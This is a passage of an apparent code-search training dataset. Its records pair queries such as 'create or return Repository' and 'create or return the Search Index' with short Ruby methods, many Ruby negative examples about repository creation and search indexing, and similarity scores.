"0.67754143" ]
0.80286545
4
create or return Repository
def repo settings.repo end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def repository!\n Repository.find_or_create_by!(url: repository_url) do |repo|\n repo.organization_id = org_id\n repo.name = repository_name\n end\n end", "def repository\n repo = RepositoryManager.for(repository_key)\n return repo unless repo.nil?\n # we haven't got a key lets try and make one\n begin\n RepositoryManager.create(repository_key)\n rescue NameError\n raise NameError, \"Could not create #{repository_key}\", caller[2..-1]\n end\n end", "def repository\n raise NotImplementedError\n end", "def create_managed_repository\n OpenProject::Revisions::Git::GitoliteWrapper.update(:add_repository, self)\n rescue => e\n Rails.logger.error(\"Error while adding repository #{repository_identifier}: #{e.message}\")\n raise OpenProject::Scm::Exceptions::RepositoryBuildError.new(\n I18n.t('repositories.gitolite.cannot_add_repository')\n )\n end", "def repository\n defined?(@repository) ? @repository : model.repository\n end", "def repository\n @repository || model.repository\n end", "def create(repository, resource)\n raise NotImplementedError\n end", "def repo() \n\t\treturn @repo if @repo != nil\n\t\t@repo = Grit::Repo.new(self[:path])\n\tend", "def repository; end", "def repo\n return @repo if can_persist?\n return nil\n end", "def repository(*args, &block)\n DataMapper.repository(*args, &block)\n end", "def create_repository(opts = {})\n data, _status_code, _headers = create_repository_with_http_info(opts)\n data\n end", "def repository\n @repository ||= Github::Repository.find user: user, name: name\n end", "def create_repository name, admin_password: nil, project_code: nil\n admin_password = SecureRandom.hex(20) if admin_password.nil? || admin_password.empty?\n\n repo = Fossil::Repo.create fossilify(name), username: username\n\n repo.repository_db do |db|\n # little bit of security, prevents someone on the server from accessing\n # the web ui without credentials\n db[:config].where(name: \"localauth\").update(value: 1)\n\n # Set the project name, on new repos this doesn't seem to exist so lets\n # insert it and I'll worry about problems later. This could be expanded\n # to include other data too in the future such as the description and\n # logo too perhaps?\n db[:config].insert(name: \"project-name\", value: name, mtime: Time.now)\n\n next if project_code.nil? || project_code.empty?\n\n # Change the project code if provided. This allows you to push an\n # existing repository up.\n db[:config].where(name: \"project-code\").update(value: project_code)\n end\n\n # Note: changing the password has to happen after the project-code is\n # changed, as it seems fossil uses the project-code to salt it's password\n # hashes to some extent\n repo.change_password username: username, password: admin_password\n\n [admin_password, repo]\n end", "def repository\n Repository[self]\n end", "def repository_created(identifier, vendor, url)\n project = Project.find_by_identifier(identifier)\n # Do not create the repository if the project has already one\n return 0 unless project && project.repository.nil?\n logger.debug \"Repository for #{project.name} was created\"\n repository = Repository.factory(vendor, :project => project, :url => url)\n repository.save\n repository.id || 0\n end", "def create\n @repository = current_user.repositories.new(params[:repository])\n\n respond_to do |format|\n if @repository.save\n format.html { redirect_to @repository, notice: 'Repository was successfully created.' }\n format.json { render json: @repository, status: :created, location: @repository }\n else\n format.html { render action: \"new\" }\n format.json { render json: @repository.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_repository(name, options = {})\n opts = options.dup\n organization = opts.delete :organization\n opts.merge! :name => name\n if opts.include? :is_template\n opts = ensure_api_media_type(:template_repositories, opts)\n end\n\n if organization.nil?\n post 'user/repos', opts\n else\n post \"#{Organization.path organization}/repos\", opts\n end\n end", "def create_repo(org, repo_name)\n if Commitchamp::Repo.find_by(name: repo_name, organization: org) == nil\n repo = @github.get_single_repo(org, repo_name)\n Commitchamp::Repo.find_or_create_by(name: repo['name']) do |r|\n r.organization = repo['organization']['login']\n r.full_name = repo['full_name']\n end\n end\n Commitchamp::Repo.find_by(name: repo_name, organization: org)\n end", "def set_repository\n @repository = Repository.find(params[:id])\n end", "def set_repository\n @repository = Repository.find(params[:id])\n end", "def set_repository\n @repository = Repository.find(params[:id])\n end", "def set_repository\n @repository = Repository.find(params[:id])\n end", "def create\n @repository = Repository.new(repository_params)\n\n respond_to do |format|\n if @repository.save\n format.html { redirect_to @repository, notice: 'Repository was successfully created.' }\n format.json { render :show, status: :created, location: @repository }\n else\n format.html { render :new }\n format.json { render json: @repository.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_repo(options)\n options = options.dup\n Repo.new(connection, post(\"/repos/create\", options)['repository'])\n end", "def create_repository(name, proxy, url, id, policy, provider)\n json = if proxy\n create_proxy_repository_json(name, url, id, policy, provider)\n else\n create_hosted_repository_json(name, id, policy, provider)\n end\n response = nexus.post(nexus_url(\"service/local/repositories\"), :body => json, :header => DEFAULT_CONTENT_TYPE_HEADER)\n case response.status\n when 201\n return true\n when 400\n raise CreateRepsitoryException.new(response.content)\n else\n raise UnexpectedStatusCodeException.new(response.status)\n end\n end", "def create\n final_params = repository_params\n languages = Language.where(name: repository_params[:languages])\n final_params[:languages] = languages\n \n @repository = Repository.new(final_params)\n @uri = URI(@repository.repo_location)\n @repository.secret_path = SecureRandom.hex.to_s + @uri.path.split(\"/\").last.to_s\n @secret_path_to_clone_to = @repository.secret_path\n \n respond_to do |format|\n if @repository.save\n Git.clone(@uri, @secret_path_to_clone_to, :path => Rails.root.join(\"storage\", \"repositories\"))\n format.html { redirect_to @repository, notice: 'Repository was successfully created.' }\n format.json { render :show, status: :created, location: @repository }\n else\n format.html { render :new }\n format.json { render json: @repository.errors, status: :unprocessable_entity }\n end\n end\n end", "def svn_repository\n return @svn_repository if @svn_repository\n \n @svn_repository = DmSvn::Model.first(:name => self.name)\n @svn_repository ||= DmSvn::Model.create(:name => self.name, :revision => 0)\n @svn_repository.config = config\n @svn_repository\n end", "def create\n @repository = Repository.new(repository_params)\n\n respond_to do |format|\n if @repository.save\n format.html { redirect_to @repository, notice: 'Repository was successfully created.' }\n format.json { render action: 'show', status: :created, location: @repository }\n else\n format.html { render action: 'new' }\n format.json { render json: @repository.errors, status: :unprocessable_entity }\n end\n end\n end", "def repository(name)\n @repository_model.find_by name: name\n # TODO: raise custom error that can be rescued up stack, return http\n # response with proper error message\n rescue Mongoid::Errors::DocumentNotFound => e\n raise e.message\n end", "def create\n display 'Create a new Unfuddle repository'\n \n repo = Unfuddle::Resources::Repository.create(\n :repository => {\n :title => ask('Name', :required => true),\n :abbreviation => ask('Slug', :required => true),\n :system => 'git',\n :projects => {\n :project => {\n :id => 24468 \n }\n }\n }\n )\n end", "def repository\n @repository ||= Hash.new\n end", "def repo\n @repository\n end", "def create(*args)\n params = args.extract_options!\n normalize! params\n filter! VALID_REPO_OPTIONS + %w[ org ], params\n assert_required_keys(%w[ name ], params)\n\n # Requires authenticated user\n post_request(\"/1.0/repositories/\", DEFAULT_REPO_OPTIONS.merge(params))\n end", "def set_repository\n @repository = Repository.find(params[:id])\n end", "def create_repository(name, dbmod)\n c = Class.new\n mod1 = if Repository.constants.include?(name)\n Repository.const_get(name)\n else\n mod = Module.new\n Repository.const_set(name, mod)\n mod\n end\n dbmod.const_set name, c\n end", "def find_repository\n project = find_project\n json, new_webhook = get_params()\n adapter = BitbucketAdapter.new(json, new_webhook)\n repository = project.repositories.find_by_identifier(adapter.identifier)\n \n if repository\n adapter.update_repository(repository)\n\n elsif Setting.plugin_redmine_bitbucket['auto_create']\n # Clone the repository into Redmine\n repository = adapter.create_repository(project)\n\n else\n raise ActiveRecord::RecordNotFound\n end\n\n return repository\n end", "def create\n url = repo_params[:html_url]\n params = Repo.get_repo(url, current_user)\n if params == nil\n redirect_to :back, notice: 'Error with API access token.'\n return\n end\n if params == -1\n redirect_to :back, alert: 'Repo already exists' and return\n end\n\n params[:user_id] = current_user.id\n @repo = Repo.new(params)\n\n respond_to do |format|\n if @repo.save\n format.html { redirect_to @repo, notice: 'Repo was successfully created.' }\n format.json { render :show, status: :created, location: @repo }\n else\n format.html { render :new }\n format.json { render json: @repo.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_repository\n case scm\n when GIT_SCM\n self.class.delay.create_git_repository(full_path)\n when SVN_SCM\n self.class.delay.create_svn_repository(full_path)\n else\n raise UnsupportedSCMError\n end\n end", "def create_repo\n Rugged::Repository.init_at(repo_path, :bare).tap do |repo|\n repo.remotes.create('origin', \"git@github.com:#{project.gh_path}\")\n repo.remotes.add_fetch_refspec('origin', GITHUB_PULLS_REFSPEC)\n end\n end", "def repo\n @repo ||= OctocatHerder::Repository.new(@raw['repo'], connection)\n end", "def set_repository\n @repository = RepositoryDecorator.find(params[:id])\n end", "def create\n @repository = Repository.new(params[:repository])\n\n respond_to do |format|\n if @repository.save\n flash[:notice] = 'Repository was successfully created.'\n format.html { redirect_to(@repository) }\n format.xml { render :xml => @repository, :status => :created, :location => @repository }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @repository.errors, :status => :unprocessable_entity }\n end\n end\n end", "def repo; end", "def repo; end", "def repo; end", "def repo; end", "def repository\n @repository ||= Repository::Content.new(@base_dir)\n end", "def repo(repo_name)\n Repo.new(client: @client, user: self, repo_name: repo_name)\n end", "def find_repository\n project = find_project\n repository_id = get_repository_identifier\n repository = project.repositories.find_by_identifier_param(repository_id)\n\n if repository.nil?\n if Setting.plugin_redmine_gitlab_hook['auto_create'] == 'yes'\n repository = create_repository(project)\n else\n raise TypeError, \"Project '#{project.to_s}' ('#{project.identifier}') has no repository or repository not found with identifier '#{repository_id}'\"\n end\n else\n unless repository.is_a?(Repository::Git)\n raise TypeError, \"'#{repository_id}' is not a Git repository\"\n end\n end\n\n return repository\n end", "def create\n @repo = Repo.new(params[:repo])\n\n respond_to do |format|\n if @repo.save\n flash[:notice] = 'Repo was successfully created.'\n format.html { redirect_to(@repo) }\n format.xml { render :xml => @repo, :status => :created, :location => @repo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @repo.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_repository_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RepositoryApi.create_repository ...'\n end\n # resource path\n local_var_path = '/v1/repository'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(opts[:'body']) \n\n # return_type\n return_type = opts[:return_type] || 'Repository' \n\n # auth_names\n auth_names = opts[:auth_names] || ['X-Api-Key']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RepositoryApi#create_repository\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @repository = @project.repositories.new(params[:repository])\n @repository.path = '/home/git/repositories'\n @repository.repo_name = @repository.name.downcase.gsub(\" \",\"_\")\n respond_to do |format|\n if @repository.save\n flash[:notice] = 'Repository was successfully created.'\n format.html { redirect_to([@project,@repository]) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def create(project_name, repo_name, description) ; end", "def repository(project)\n Grit::Repo.new(project.folder)\n end", "def create_repo\n return Repo.open(self.path) if Dir.entries(self.path).include?('.git')\n g = Repo.init(self.path)\n Dir.chdir(self.path)\n File.open('.gitignore', 'w'){|f| f.write(\"*~\\n*.swp\") }\n g.add('.gitignore')\n g.commit(\"Initial Commit\")\n g\n end", "def set_repo\n @repo = Repo.find(params[:id])\n end", "def set_repo\n @repo = Repo.find(params[:id])\n end", "def set_repo\n @repo = Repo.find(params[:id])\n end", "def set_repo\n @repo = Repo.find(params[:id])\n end", "def create\n @repo = Repo.new(repo_params)\n good_type = Repo.types.include?(repo_params[:repo_type])\n respond_to do |format|\n if good_type && @repo.save\n format.html { redirect_to @repo, notice: 'Repo was successfully created.' }\n format.json { render :show, status: :created, location: @repo }\n else\n format.html { render :new }\n format.json { render json: @repo.errors, status: :unprocessable_entity }\n end\n end\n end", "def repository(repo, options = {})\n get Repository.path(repo), options\n end", "def repository\n @repository ||= repo_type.repository_for(container)\n end", "def create\n # Create an empty repo in memory\n repo = Repo.new\n \n # Var. 1) Github Repo posted to \"/addrepo?url=\"\n if params[:url]\n url = params[:url]\n # Strip url of leading or trailing whitespace\n # Gsub part of url that is not nescessary\n ident = url.gsub(\"https://github.com/\", \"\").strip\n \n # Split repo ident\n repo.owner = ident.split(\"/\")[0]\n repo.name = ident.split(\"/\")[1]\n repo.ident = ident\n end\n \n # Var. 2) Github Repo is being added by posting to \"/repo\" through form\n if params[:repo]\n # Remove leading and trialing whitespace\n repo.owner = params[:repo][:owner].strip\n repo.name = params[:repo][:name].strip\n repo.ident = repo.owner + \"/\" + repo.name\n end\n \n respond_to do |format|\n if Repo.find_by_ident(repo.ident).nil?\n # Repo is not yet listed\n if repo.save # Check if validations pass\n # Validations passed\n if Repo.init_repo(repo.id)\n # Repo could be found on Github\n format.html { redirect_to repo, notice: \"Success! You added '#{repo.owner}/#{repo.name}' successfully. Thanks for helping to improve this site! You might tag this repo!!!\" }\n else\n # Repo could not be found on Github and was deleted\n format.html { redirect_to root_url, notice: \"Sorry. I could not find '#{repo.owner}/#{repo.name} on github. Spelled everything correctly?\"}\n end\n # Repo validation fails while performing initialization\n format.html { redirect_to root_url, notice: \"Repo validation failed. Please mail our team with details how you managed to get this error.\"}\n else\n # Validation failed\n format.html { redirect_to root_url, notice: \"Sorry, I could not recognize a repo owner and name in there. My bad.\" }\n end\n \n else\n # Repo already listed \n repo = Repo.find_by_ident(repo.ident) \n format.html { redirect_to repo, notice: \"Double success! '#{repo.owner}/#{repo.name}' is listed already. Checkout the tags below and refine them to do some good for your fellow human programmers. Thanks!\"}\n end\n end\n end", "def create_repo\n # update gitolite-admin/conf/gitolite.conf file ...\n # but only if there is NOT already an entry for this repo \n # ... to avoid duplicating the entry\n conf_entry = File.read(@@gitolite_conf_file_path).slice(@gitolite_conf_entry)\n if (conf_entry == nil)\n File.open(@@gitolite_conf_file_path, \"a\") { |f| f.write @gitolite_conf_entry}\n # push updates to gitolite-admin repo to create new project repo\n git_push @@gitolite_admin_path, \"Added repo #{@project_label} with users: #{@users}\"\n return true\n else\n LOGGER.error \"Existing gitolite config file entry found for project #{@project_label}, skipping repo creation\"\n return false\n end\n \n end", "def repo(user_name, repo_name)\n Github::Repo.new @access_token, user_name, repo_name\n end", "def repository\n RubyAem::Resources::Repository.new(@client)\n end", "def repo\n @repo\n end", "def get_or_create(klas, name, **options)\n obj = fetch(name){ |n| self[name] = klas.new(name, **options.merge({repo:self})) }\n obj.repo ||= self\n obj.initialize_options(**options)\n obj\n end", "def create_repository_from_template(repo, name, options = {})\n options.merge! :name => name\n options = ensure_api_media_type(:template_repositories, options)\n post \"#{Repository.path repo}/generate\", options\n end", "def create_repo(name)\n response = Faraday.post \"https://api.github.com/user/repos\", {name: \"#{name}\" }.to_json, {'Authorization'=>\"token #{self.access_token}\", 'Accept' => 'application/json'}\n end", "def repo!(name='blah')\n path = File.join(PATH, name.to_s)\n FileUtils::mkdir_p(path)\n delete!(name)\n\n @repos ||= {}\n @current_repo = name.to_sym\n @repos[@current_repo] = SvnRepos.create(path)\n end", "def create_github_repository!\n repository_name = generate_github_repository_name\n organization.github_organization.create_repository(\n repository_name,\n private: group_assignment.private?,\n description: \"#{repository_name} created by GitHub Classroom\"\n )\n rescue GitHub::Error => error\n raise Result::Error.new REPOSITORY_CREATION_FAILED, error.message\n end", "def new?\n not defined?@repository\n end", "def set_repo\n @path = \"#{params[:login].strip}/#{params[:repo].strip}\"\n @repo = CacheRepo.where(path: @path).first\n if !@repo\n @repo = CacheRepo.new(path: @path)\n @repo.save!\n end\n end", "def repository(name = nil)\n #\n # There has been a couple of different strategies here, but me (zond) and dkubb are at least\n # united in the concept of explicitness over implicitness. That is - the explicit wish of the\n # caller (+name+) should be given more priority than the implicit wish of the caller (Repository.context.last).\n #\n if block_given?\n DataMapper.repository(name || repository_name) { |*block_args| yield(*block_args) }\n else\n DataMapper.repository(name || repository_name)\n end\n end", "def git\n @git ||= Grit::Repo.new(path)\n end", "def git\n @git ||= Grit::Repo.new(path)\n end", "def create_repos\n response = HTTParty.get('https://api.github.com/orgs/' + org_name + '/repos')\n data = response.parsed_response\n data.each {|repo| github_repos.create(name: repo['name'], github_id: repo['id'])}\n end", "def repository(name_or_file)\n DbAgile::Core::Repository::load(repository_path(name_or_file))\n end", "def create_assignment_repo(assignment, user)\n creator = Creator.new(assignment: assignment, user: user)\n creator.verify_organization_has_private_repos_available!\n\n github_repository = creator.create_github_repository!\n\n assignment_repo = assignment.assignment_repos.build(\n github_repo_id: github_repository.id,\n user: user\n )\n creator.add_user_to_repository!(assignment_repo.github_repo_id)\n creator.push_starter_code!(assignment_repo.github_repo_id) if assignment.starter_code?\n\n assignment_repo.save!\n assignment_repo\n rescue ActiveRecord::RecordInvalid => err\n creator.delete_github_repository(assignment_repo.try(:github_repo_id))\n logger.warn(err.message)\n raise Creator::Result::Error, Creator::DEFAULT_ERROR_MESSAGE\n rescue Creator::Result::Error => err\n creator.delete_github_repository(assignment_repo.try(:github_repo_id))\n raise err\n end", "def repo\n if @repo == NRSER::NO_ARG\n @repo = QB::Repo.from_path root_path\n end\n \n @repo\n end", "def git_repo\n @git_repo ||= GitRepo.new(\n git_config: project.repo_config,\n provider_credential: provider_credential\n )\n end", "def create_site_repo\n begin\n access_token = OAuth2::AccessToken.new(new_client, github_info.access_token)\n github_username = github_info.github_username\n\n repo_data = JSON.parse(access_token.get(\"/api/v2/json/repos/show/#{github_username}\"))\n repo_exists = repo_data[\"repositories\"].any? { |repo| repo[\"name\"] == remote_repo_name }\n p \"repo exists\" if repo_exists\n\n site_repo_created! if repo_exists\n rescue OAuth2::AccessDenied\n self.lost_github_access!\n end\n end", "def repo(path = root)\n @repo ||= {}\n @repo[path] ||= begin\n new_repo = Grit::Repo.init(path)\n Dir.chdir(path) # TODO This is not ideal but otherwise it would be necessary to pass\n # a :chdir option in all calls to Grit. This may be a bug in Grit related with the\n # --work-tree flag\n\n unless new_repo.branches.any? { |b| b.name == 'master' } # Check if master exists\n index = new_repo.index\n index.add('k', '')\n index.commit(\"init\")\n end\n new_repo # If this has been done before, the above command will do nothing\n end\n end", "def create\n #@repo = Repo.new(repo_params)\n\n user= params[:user]\n repo= params[:repos]\n\n url = BASE_URL + \"repos/\" + user + \"/\" + repo + \"/collaborators\"\n # url = BASE_URL + \"repos/rails/rails/collaborators\"\n # url = BASE_URL + \"repositories\"\n @repo = JSON.parse(open(url).read)\n\n # respond_to do |format|\n # if @repo.save\n # format.html { redirect_to @repo, notice: 'Repo was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @repo }\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @repo.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def repository\n digital_object.repository\n end", "def repository\n unless Colonel.config.rugged_backend.nil?\n @repo ||= Rugged::Repository.init_at(File.join(Colonel.config.storage_path, id), :bare, backend: Colonel.config.rugged_backend)\n else\n @repo ||= Rugged::Repository.init_at(File.join(Colonel.config.storage_path, id), :bare)\n end\n end", "def repository(id)\n repositories[id.to_s]\n end", "def find_or_add_repository(filename, language_code)\n repository_id = find_repository(filename, language_code)\n if repository_id.nil?\n repository_id = add_repository(filename, language_code)\n end\n return repository_id\n end", "def repo=(_arg0); end", "def repo=(_arg0); end", "def repo=(_arg0); end", "def repo=(_arg0); end", "def init_repo\n @logger.info \"repository url: #{@repository[:url]}\"\n\n if FileTest.exist?(@repository[:path])\n @logger.info \"repository path exists: #{@repository[:path]}\"\n @rgit = Git.open(@repository[:path], :log => @logger)\n @logger.info @rgit.fetch\n else\n @logger.info \"repository path doesn't exist: #{@repository[:path]}\"\n # Create LogDevice to log to websocket message\n @rgit = Git.clone(@repository[:url], @repository[:name],\n :path => @work_dir,\n :log => @logger)\n end\n end", "def get_repo\n raise \"can't get a repo without the repo's full_name (eg. 'fubar/ofxTrickyTrick')\" unless full_name\n\n begin\n response = GithubApi::repository(full_name: full_name)\n rescue => ex\n Rails.logger.debug \"Failed to get repository: #{ex.message} (#{ex.class})\"\n return\n end\n\n unless response.success?\n Rails.logger.debug response.inspect.to_s.red\n return\n\tend\n\n @repo_json = response.parsed_response\n end", "def regenerate_git_repository\n logger.info `curl --user #{CONFIG[Rails.env][\"git_user_pass\"]} https://api.bitbucket.org/1.0/repositories/ --data name=#{CONFIG[Rails.env][:repo_prefix]}-#{self.uuid} --data is_private=true`\n\n sleep 1\n\n logger.info `mkdir #{directory}\n cp -r #{template_directory}/* #{directory}\n cp config/book_gitignore #{directory}/.gitignore\n cd #{directory}\n git init\n git remote add origin #{CONFIG[Rails.env][\"git\"]}/#{CONFIG[Rails.env][:repo_prefix]}-#{self.uuid}.git`\n\n input_files = \"\"\n self.texts.order(\"-position DESC\").each do |text|\n text.to_file\n input_files << \"\\\\input{#{text.short_filename}}\\n\"\n end\n\n input_text = File.join(directory,'INPUTS.tex')\n File.open(input_text,'w') {|io| io.write(input_files) }\n\n input_commands = File.join(directory,'fichatecnica.sty')\n File.open(input_commands,'w') {|io| io.write(self.book_data.to_file) }\n\n logger.info `cd #{self.directory}\n git add .\n git commit -a -m \"regenerate git repository from database\"\n git push -u origin master`\n\n logger.info \"regenerate git repository from database for book, id #{self.id}\"\n\n end", "def create\n @author_repository = AuthorRepository.new(params[:author_repository])\n\n respond_to do |format|\n if @author_repository.save\n format.html { redirect_to(@author_repository, :notice => 'Author repository was successfully created.') }\n format.xml { render :xml => @author_repository, :status => :created, :location => @author_repository }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @author_repository.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n FileUtils.mkdir_p(@repos_path)\n @dirs_created << @repos_path\n ::Svn::Repos.create(@repos_path)\n self\n end", "def repo(klass)\n @repository = klass\n end", "def repository\n OpenStruct.new.tap do |r|\n r.count_all = 57\n r.count_filtered = 32\n r.paginated_data = [OpenStruct.new(name: 'foo', age: 21),\n OpenStruct.new(name: 'bar', age: 12)]\n end\n end" ]
[ "0.77289057", "0.7469509", "0.6973556", "0.693031", "0.6873853", "0.67995", "0.6779496", "0.67769986", "0.6755466", "0.6752897", "0.6696692", "0.6696683", "0.66817087", "0.66760975", "0.6635438", "0.6609682", "0.6606863", "0.66008943", "0.65804327", "0.65699387", "0.65699387", "0.65699387", "0.65699387", "0.6550176", "0.65435636", "0.65380216", "0.65323275", "0.64927727", "0.64922583", "0.64859515", "0.64767516", "0.64754975", "0.6474064", "0.6464855", "0.64291745", "0.64283526", "0.6413129", "0.6407302", "0.64027095", "0.6390743", "0.6368863", "0.6341569", "0.63378894", "0.6332601", "0.6332601", "0.6332601", "0.6332601", "0.63150716", "0.6293213", "0.6283622", "0.6275993", "0.625881", "0.6230441", "0.6214692", "0.61970943", "0.6182331", "0.61654764", "0.61654764", "0.61654764", "0.61654764", "0.6131998", "0.6130889", "0.6119454", "0.6104047", "0.60971665", "0.6076183", "0.60627705", "0.6060665", "0.6047041", "0.6037866", "0.60360837", "0.60345167", "0.60129464", "0.5990365", "0.59546846", "0.5948427", "0.5948144", "0.5948144", "0.5947321", "0.59386456", "0.59381175", "0.5899426", "0.58982337", "0.58825505", "0.58771455", "0.5868802", "0.5867534", "0.5867307", "0.5860676", "0.5818515", "0.58145857", "0.58145857", "0.58145857", "0.58145857", "0.580942", "0.57997143", "0.5791342", "0.57907647", "0.5769656", "0.57655406", "0.57496774" ]
0.0
-1
create or return the Search Index
def files_set if settings.fs_created + 12 < Time.now settings.fs = FuzzySet.new(repo.files) settings.fs_created = Time.now end settings.fs end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_search_index\n Tire.index self.index_name\n end", "def build_index\n @search = RSemantic::Search.new(@documents.map(&:text), @options)\n end", "def construct_index\n end", "def index\r\n build_index unless @index\r\n @index\r\n end", "def create_search_index(name, schema = nil, n_val = nil)\n @data[:search_indexes][name] = {:name => name, :schema => schema || '_yz_default', :n_val => n_val || 3}\n true\n end", "def create_index(word)\n create_index1(word)\n end", "def index_new\n Index.new(self)\n end", "def after_create(model)\n update_search_index model, :index\n end", "def index\n @search = params[\"search\"]\n if @search.present?\n client = Client.new(@search)\n response = client.call\n\n new_results = StoreSearch.new(@search, response).run\n if new_results\n scope_to_use = client.find_search_key || \"random\"\n\n if scope_to_use == \"category\"\n searches = Search.with_category(@search[\"category\"])\n @searches = Search.paginate(page: params[:page], per_page: 5).where(id: searches.map(&:id))\n # TODO recover former sintax\n # @searches = Search.paginate(page: params[:page], per_page: 5)\n # .with_category(@search[\"category\"])\n elsif scope_to_use == \"text\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .with_text(@search[\"text\"])\n elsif scope_to_use == \"random\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .created_randomly\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n end\n \n @searches ||= Search.paginate(page: params[:page], per_page: 5)\n @search = Search.new()\n end", "def stored_search_index\n @updated_search_index ||= begin\n if search_index_path.exist?\n require 'json'\n index = JSON.parse(search_index_path.read)\n index if index.is_a?(Hash) # TODO: should we also check if hash has correct hierarchy?\n end\n end\n end", "def build_index \n Mebla.log(\"Building #{self.slingshot_index_name}\", :debug)\n # Create the index\n result = @slingshot_index.create :mappings => @mappings \n \n Mebla.log(\"Created #{self.slingshot_index_name}: #{result.to_s}\")\n \n # Check if the index exists\n index_exists?\n end", "def index\n @@index ||= Ferret::Index::Index.new(default_index_params)\n end", "def index\n @@index ||= Ferret::Index::Index.new(default_index_params)\n end", "def build_index\n reset @store.all_files.sort, @store.all_classes_and_modules.sort\n\n index_classes\n index_methods\n index_pages\n\n { :index => @index }\n end", "def create_index\n self[:create_index]\n end", "def create_search\n\t\t@search = Search.where(:search_id => self.id,:search_model => self.class.name).first\n\t\tunless @search.present?\n\t\t\t@search = Search.new\n\t\t\t@search.name = self.name\n\t\t\t@search.search_id = self.id\n\t\t\t@search.search_model = self.class.name\n\t\t\t@search.save!\n\t\telse\n\t\t\t@search.name = self.name\n\t\t\t@search.save!\n\t\tend\n\tend", "def create_search_if_required\n @search ||= Search.find_or_create_by(query: query)\n end", "def build_index!\n puts \"build_index!\"\n @indexes = {}\n \n @indexes = @resource_class.build_indexes(@resources)\n @indexes[:_default] ||= @default_order\n end", "def index ; @index ; end", "def build_xapian_index()\n models = [Request, Response]\n if ! $existing_db\n ActsAsXapian::WriteableIndex.rebuild_index(models, verbose=false)\n $existing_db = true\n end\n end", "def index\n @index ||= self.class.index\n end", "def create_index\n # Only create the index if it doesn't exist\n raise Mebla::Errors::MeblaIndexException.new(\"#{@slingshot_index_name} already exists !! use #rebuild_index to rebuild the index.\") if index_exists?\n \n Mebla.log(\"Creating index\")\n \n # Create the index\n build_index\n end", "def build_index!\n balanced_trees = Hash[\n @index_trees.map { |type, tree| [type, tree.balanced_copy] }\n ]\n return ZDSearch::BinaryTreeSearchIndex.new(\n sorted_index_trees: balanced_trees,\n tokeniser: @tokeniser,\n field_mapping: @field_mapping,\n )\n end", "def create_search_index\n #Notice the assoction on article.user.id\n TaggyMcFaggy.create_index :attribute_namespace => :article_text,\n :document_id => id,\n :words => text_content,\n :association => user.id\n \n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n\n @searches = Search.all\n end", "def index; @index; end", "def search(index, query, options = {})\n raise NotImplementedError, 'Search has not been implemented'\n end", "def index\n @searches = Search.all\n # prova Ajax 31/03/2019\n @search = Search.new\n end", "def index\n Index.new(self)\n end", "def create_index\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 3 )\n return_value = CreateIndexReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal4 = nil\n __ID5__ = nil\n string_literal6 = nil\n __ID7__ = nil\n char_literal8 = nil\n __ID9__ = nil\n char_literal10 = nil\n __ID11__ = nil\n string_literal12 = nil\n\n tree_for_string_literal4 = nil\n tree_for_ID5 = nil\n tree_for_string_literal6 = nil\n tree_for_ID7 = nil\n tree_for_char_literal8 = nil\n tree_for_ID9 = nil\n tree_for_char_literal10 = nil\n tree_for_ID11 = nil\n tree_for_string_literal12 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 25:5: 'create index' ID 'on' ID '(' ID ( ',' ID )* ');'\n string_literal4 = match( CREATE_INDEX, TOKENS_FOLLOWING_CREATE_INDEX_IN_create_index_117 )\n\n tree_for_string_literal4 = @adaptor.create_with_payload( string_literal4 )\n root_0 = @adaptor.become_root( tree_for_string_literal4, root_0 )\n\n __ID5__ = match( ID, TOKENS_FOLLOWING_ID_IN_create_index_120 )\n\n tree_for_ID5 = @adaptor.create_with_payload( __ID5__ )\n @adaptor.add_child( root_0, tree_for_ID5 )\n\n string_literal6 = match( T__16, TOKENS_FOLLOWING_T__16_IN_create_index_122 )\n __ID7__ = match( ID, TOKENS_FOLLOWING_ID_IN_create_index_125 )\n\n tree_for_ID7 = @adaptor.create_with_payload( __ID7__ )\n @adaptor.add_child( root_0, tree_for_ID7 )\n\n char_literal8 = match( T__17, TOKENS_FOLLOWING_T__17_IN_create_index_127 )\n __ID9__ = match( ID, TOKENS_FOLLOWING_ID_IN_create_index_130 )\n\n tree_for_ID9 = @adaptor.create_with_payload( __ID9__ )\n @adaptor.add_child( root_0, tree_for_ID9 )\n\n # at line 25:41: ( ',' ID )*\n while true # decision 